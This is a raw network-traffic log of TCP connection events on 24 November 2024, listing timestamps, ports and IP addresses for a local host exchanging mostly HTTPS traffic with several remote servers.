Nov 24, 2024 00:06:37.442240000 CET	443	49792	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:37.446225882 CET	49797	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:37.446259022 CET	443	49797	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:37.446377993 CET	49797	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:37.446930885 CET	49797	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:37.446949005 CET	443	49797	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:37.525875092 CET	443	49791	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:37.525945902 CET	443	49791	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:37.526005983 CET	49791	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:37.627533913 CET	49791	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:37.627564907 CET	443	49791	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:37.745479107 CET	49798	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:37.745488882 CET	443	49798	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:37.745556116 CET	49798	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:37.838927984 CET	49798	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:37.838943005 CET	443	49798	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:38.620695114 CET	443	49794	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:38.650399923 CET	49794	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:38.650429964 CET	443	49794	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:38.650907993 CET	49794	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:38.650914907 CET	443	49794	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:38.888576031 CET	443	49793	20.198.119.84	192.168.2.6
Nov 24, 2024 00:06:38.888663054 CET	49793	443	192.168.2.6	20.198.119.84
Nov 24, 2024 00:06:38.894083023 CET	443	49795	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:38.908396006 CET	49793	443	192.168.2.6	20.198.119.84
Nov 24, 2024 00:06:38.908413887 CET	443	49793	20.198.119.84	192.168.2.6
Nov 24, 2024 00:06:38.908663988 CET	443	49793	20.198.119.84	192.168.2.6
Nov 24, 2024 00:06:38.939091921 CET	49795	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:38.954905987 CET	49793	443	192.168.2.6	20.198.119.84
Nov 24, 2024 00:06:38.981821060 CET	49795	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:38.981839895 CET	443	49795	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:38.982481003 CET	49795	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:38.982486963 CET	443	49795	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.065212965 CET	443	49794	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.065291882 CET	443	49794	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.065341949 CET	49794	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.101994038 CET	49793	443	192.168.2.6	20.198.119.84
Nov 24, 2024 00:06:39.102039099 CET	49793	443	192.168.2.6	20.198.119.84
Nov 24, 2024 00:06:39.102051020 CET	443	49793	20.198.119.84	192.168.2.6
Nov 24, 2024 00:06:39.102292061 CET	49793	443	192.168.2.6	20.198.119.84
Nov 24, 2024 00:06:39.124397039 CET	49794	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.124433994 CET	443	49794	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.124437094 CET	49794	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.124444962 CET	443	49794	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.143361092 CET	443	49793	20.198.119.84	192.168.2.6
Nov 24, 2024 00:06:39.168849945 CET	443	49797	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.180990934 CET	49797	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.181015015 CET	443	49797	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.181503057 CET	49797	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.181509972 CET	443	49797	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.212340117 CET	443	49796	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.253801107 CET	49796	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.272458076 CET	49796	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.272470951 CET	443	49796	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.273163080 CET	49796	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.273168087 CET	443	49796	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.289844990 CET	49712	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:39.289938927 CET	49712	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:39.292978048 CET	49807	443	192.168.2.6	94.245.104.56
Nov 24, 2024 00:06:39.293021917 CET	443	49807	94.245.104.56	192.168.2.6
Nov 24, 2024 00:06:39.293092012 CET	49807	443	192.168.2.6	94.245.104.56
Nov 24, 2024 00:06:39.337104082 CET	49807	443	192.168.2.6	94.245.104.56
Nov 24, 2024 00:06:39.337119102 CET	443	49807	94.245.104.56	192.168.2.6
Nov 24, 2024 00:06:39.345985889 CET	443	49795	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.346061945 CET	443	49795	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.346117973 CET	49795	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.400824070 CET	49808	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.400846004 CET	443	49808	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.400918961 CET	49808	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.409406900 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:39.409576893 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:39.409594059 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:39.409699917 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:39.409729958 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:39.434437037 CET	49795	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.434463024 CET	443	49795	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.434475899 CET	49795	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.434483051 CET	443	49795	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.442059040 CET	49808	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.442074060 CET	443	49808	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.640527964 CET	443	49797	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.640722036 CET	443	49797	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.640777111 CET	49797	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.661932945 CET	49809	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.661983013 CET	443	49809	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.662087917 CET	49809	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.667521000 CET	443	49796	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.667596102 CET	443	49796	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.667649031 CET	49796	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.692512989 CET	443	49798	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.736965895 CET	49798	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.746443987 CET	49798	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.746454000 CET	443	49798	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.747278929 CET	49798	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.747284889 CET	443	49798	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.747502089 CET	49797	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.747502089 CET	49797	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.747525930 CET	443	49797	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.747535944 CET	443	49797	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.761590004 CET	49809	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.761621952 CET	443	49809	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.763112068 CET	49796	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.763130903 CET	443	49796	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.763140917 CET	49796	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.763145924 CET	443	49796	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.769073009 CET	443	49793	20.198.119.84	192.168.2.6
Nov 24, 2024 00:06:39.769258976 CET	443	49793	20.198.119.84	192.168.2.6
Nov 24, 2024 00:06:39.769337893 CET	49793	443	192.168.2.6	20.198.119.84
Nov 24, 2024 00:06:39.769876957 CET	49793	443	192.168.2.6	20.198.119.84
Nov 24, 2024 00:06:39.769926071 CET	443	49793	20.198.119.84	192.168.2.6
Nov 24, 2024 00:06:39.802505016 CET	49810	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.802545071 CET	443	49810	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.802607059 CET	49810	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.824908972 CET	49810	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.824944973 CET	443	49810	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.854206085 CET	49811	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.854260921 CET	443	49811	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:39.854341984 CET	49811	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.858047009 CET	49811	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:39.858078957 CET	443	49811	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:40.001210928 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:40.001305103 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:40.001636028 CET	49712	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:40.003735065 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:40.003874063 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:40.004040003 CET	49712	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:40.012207031 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:40.012295008 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:40.012386084 CET	49712	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:40.020699978 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:40.020777941 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:40.020895004 CET	49712	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:40.029089928 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:40.029148102 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:40.029571056 CET	49712	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:40.145587921 CET	443	49798	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:40.145658016 CET	443	49798	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:40.145749092 CET	49798	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:40.418986082 CET	49798	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:40.419004917 CET	443	49798	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:40.419014931 CET	49798	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:40.419022083 CET	443	49798	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:40.432529926 CET	49812	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:40.432594061 CET	443	49812	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:40.432667971 CET	49812	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:40.434220076 CET	49812	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:40.434236050 CET	443	49812	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:41.297149897 CET	443	49807	94.245.104.56	192.168.2.6
Nov 24, 2024 00:06:41.297497988 CET	49807	443	192.168.2.6	94.245.104.56
Nov 24, 2024 00:06:41.297508001 CET	443	49807	94.245.104.56	192.168.2.6
Nov 24, 2024 00:06:41.299047947 CET	443	49807	94.245.104.56	192.168.2.6
Nov 24, 2024 00:06:41.299123049 CET	49807	443	192.168.2.6	94.245.104.56
Nov 24, 2024 00:06:41.300189018 CET	49807	443	192.168.2.6	94.245.104.56
Nov 24, 2024 00:06:41.300276995 CET	443	49807	94.245.104.56	192.168.2.6
Nov 24, 2024 00:06:41.300415993 CET	49807	443	192.168.2.6	94.245.104.56
Nov 24, 2024 00:06:41.300421953 CET	443	49807	94.245.104.56	192.168.2.6
Nov 24, 2024 00:06:41.393284082 CET	80	49784	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:41.393345118 CET	49784	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:41.432573080 CET	443	49808	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:41.438066006 CET	49808	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:41.438143969 CET	443	49808	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:41.438635111 CET	49808	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:41.438648939 CET	443	49808	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:41.441343069 CET	49807	443	192.168.2.6	94.245.104.56
Nov 24, 2024 00:06:41.716203928 CET	443	49809	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:41.716694117 CET	49809	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:41.716710091 CET	443	49809	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:41.717391968 CET	49809	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:41.717397928 CET	443	49809	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:41.728846073 CET	49784	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:41.729146957 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:41.738441944 CET	443	49810	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:41.739186049 CET	49810	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:41.739223957 CET	443	49810	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:41.739685059 CET	49810	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:41.739697933 CET	443	49810	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:41.744798899 CET	443	49811	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:41.745101929 CET	49811	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:41.745119095 CET	443	49811	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:41.745565891 CET	49811	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:41.745570898 CET	443	49811	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:41.817868948 CET	443	49807	94.245.104.56	192.168.2.6
Nov 24, 2024 00:06:41.818135023 CET	443	49807	94.245.104.56	192.168.2.6
Nov 24, 2024 00:06:41.818187952 CET	49807	443	192.168.2.6	94.245.104.56
Nov 24, 2024 00:06:41.831630945 CET	49807	443	192.168.2.6	94.245.104.56
Nov 24, 2024 00:06:41.831650019 CET	443	49807	94.245.104.56	192.168.2.6
Nov 24, 2024 00:06:41.848299980 CET	80	49784	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:41.848705053 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:41.848810911 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:41.850357056 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:41.850414038 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:41.887227058 CET	443	49808	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:41.887325048 CET	443	49808	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:41.887376070 CET	49808	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:41.888752937 CET	49808	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:41.888775110 CET	443	49808	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:41.896856070 CET	49819	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:41.896888971 CET	443	49819	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:41.896948099 CET	49819	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:41.898101091 CET	49819	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:41.898117065 CET	443	49819	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:41.969923973 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:41.969933987 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:41.970031977 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:41.970037937 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:41.989351034 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:41.989382982 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:41.990504026 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:41.990730047 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:41.990746021 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:42.150959969 CET	443	49809	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:42.151034117 CET	443	49809	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:42.151124001 CET	49809	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:42.153148890 CET	49809	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:42.153182030 CET	443	49809	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:42.153208971 CET	49809	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:42.153223991 CET	443	49809	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:42.158390045 CET	49822	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:42.158431053 CET	443	49822	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:42.158509970 CET	49822	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:42.162463903 CET	49822	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:42.162476063 CET	443	49822	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:42.172377110 CET	443	49810	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:42.172431946 CET	443	49810	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:42.172502995 CET	49810	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:42.172676086 CET	49810	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:42.172676086 CET	49810	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:42.172724009 CET	443	49810	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:42.172753096 CET	443	49810	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:42.189591885 CET	49823	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:42.189619064 CET	443	49823	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:42.189672947 CET	49823	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:42.189903021 CET	49823	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:42.189930916 CET	443	49823	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:42.201690912 CET	443	49811	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:42.201762915 CET	443	49811	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:42.202049971 CET	49811	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:42.202167034 CET	49811	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:42.202167034 CET	49811	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:42.202192068 CET	443	49811	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:42.202213049 CET	443	49811	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:42.228279114 CET	49825	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:42.228291035 CET	443	49825	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:42.228380919 CET	49825	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:42.228494883 CET	49825	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:42.228508949 CET	443	49825	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:42.400038958 CET	443	49812	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:42.424436092 CET	49812	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:42.424458027 CET	443	49812	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:42.424869061 CET	49812	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:42.424874067 CET	443	49812	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:42.852943897 CET	443	49812	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:42.853019953 CET	443	49812	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:42.853106022 CET	49812	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:42.886380911 CET	49812	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:42.886405945 CET	443	49812	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:43.071547031 CET	49835	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:43.071573019 CET	443	49835	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:43.071676970 CET	49835	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:43.097830057 CET	49835	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:43.097843885 CET	443	49835	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:43.214215040 CET	49840	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:43.214245081 CET	443	49840	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:43.214350939 CET	49840	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:43.214900970 CET	49841	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:43.214962006 CET	443	49841	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:43.215019941 CET	49841	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:43.215318918 CET	49840	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:43.215332031 CET	443	49840	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:43.215473890 CET	49841	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:43.215487003 CET	443	49841	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:43.245369911 CET	49842	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:43.245456934 CET	443	49842	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:43.245533943 CET	49842	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:43.248119116 CET	49842	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:43.248155117 CET	443	49842	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:43.269581079 CET	49846	443	192.168.2.6	18.165.220.66
Nov 24, 2024 00:06:43.269613981 CET	443	49846	18.165.220.66	192.168.2.6
Nov 24, 2024 00:06:43.269689083 CET	49846	443	192.168.2.6	18.165.220.66
Nov 24, 2024 00:06:43.271059990 CET	49846	443	192.168.2.6	18.165.220.66
Nov 24, 2024 00:06:43.271070957 CET	443	49846	18.165.220.66	192.168.2.6
Nov 24, 2024 00:06:43.800172091 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:43.800235987 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:43.805147886 CET	443	49819	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:43.814358950 CET	49819	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:43.814373970 CET	443	49819	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:43.815047979 CET	49819	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:43.815052032 CET	443	49819	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:43.877087116 CET	443	49822	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:43.882385015 CET	49822	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:43.882411003 CET	443	49822	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:43.883130074 CET	49822	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:43.883140087 CET	443	49822	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:43.927187920 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:43.938759089 CET	49848	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:43.938806057 CET	443	49848	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:43.938859940 CET	49848	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:43.939101934 CET	49848	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:43.939121008 CET	443	49848	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:43.953978062 CET	49849	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:43.954019070 CET	443	49849	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:43.954088926 CET	49849	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:43.954384089 CET	49849	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:43.954399109 CET	443	49849	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:43.968152046 CET	443	49823	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:43.973587990 CET	49823	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:43.973627090 CET	443	49823	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:43.974139929 CET	49823	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:43.974152088 CET	443	49823	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:43.988146067 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:43.988607883 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:43.988631964 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:43.988986969 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:43.989001989 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:43.989075899 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:43.989088058 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:43.989126921 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:43.989667892 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:43.990930080 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:43.990998983 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:43.991157055 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:43.991170883 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.012245893 CET	49841	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:44.012639046 CET	49848	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:44.013365984 CET	49850	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:44.013396025 CET	443	49850	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:44.013468027 CET	49850	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:44.013819933 CET	49851	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:44.013858080 CET	443	49851	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:44.013923883 CET	49851	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:44.016570091 CET	49851	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:44.016586065 CET	443	49851	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:44.017576933 CET	49840	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:44.019987106 CET	49846	443	192.168.2.6	18.165.220.66
Nov 24, 2024 00:06:44.021262884 CET	49859	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:44.021287918 CET	443	49859	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:44.021361113 CET	49859	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:44.022051096 CET	49850	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:44.022077084 CET	443	49850	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:44.022135019 CET	49842	443	192.168.2.6	162.159.61.3
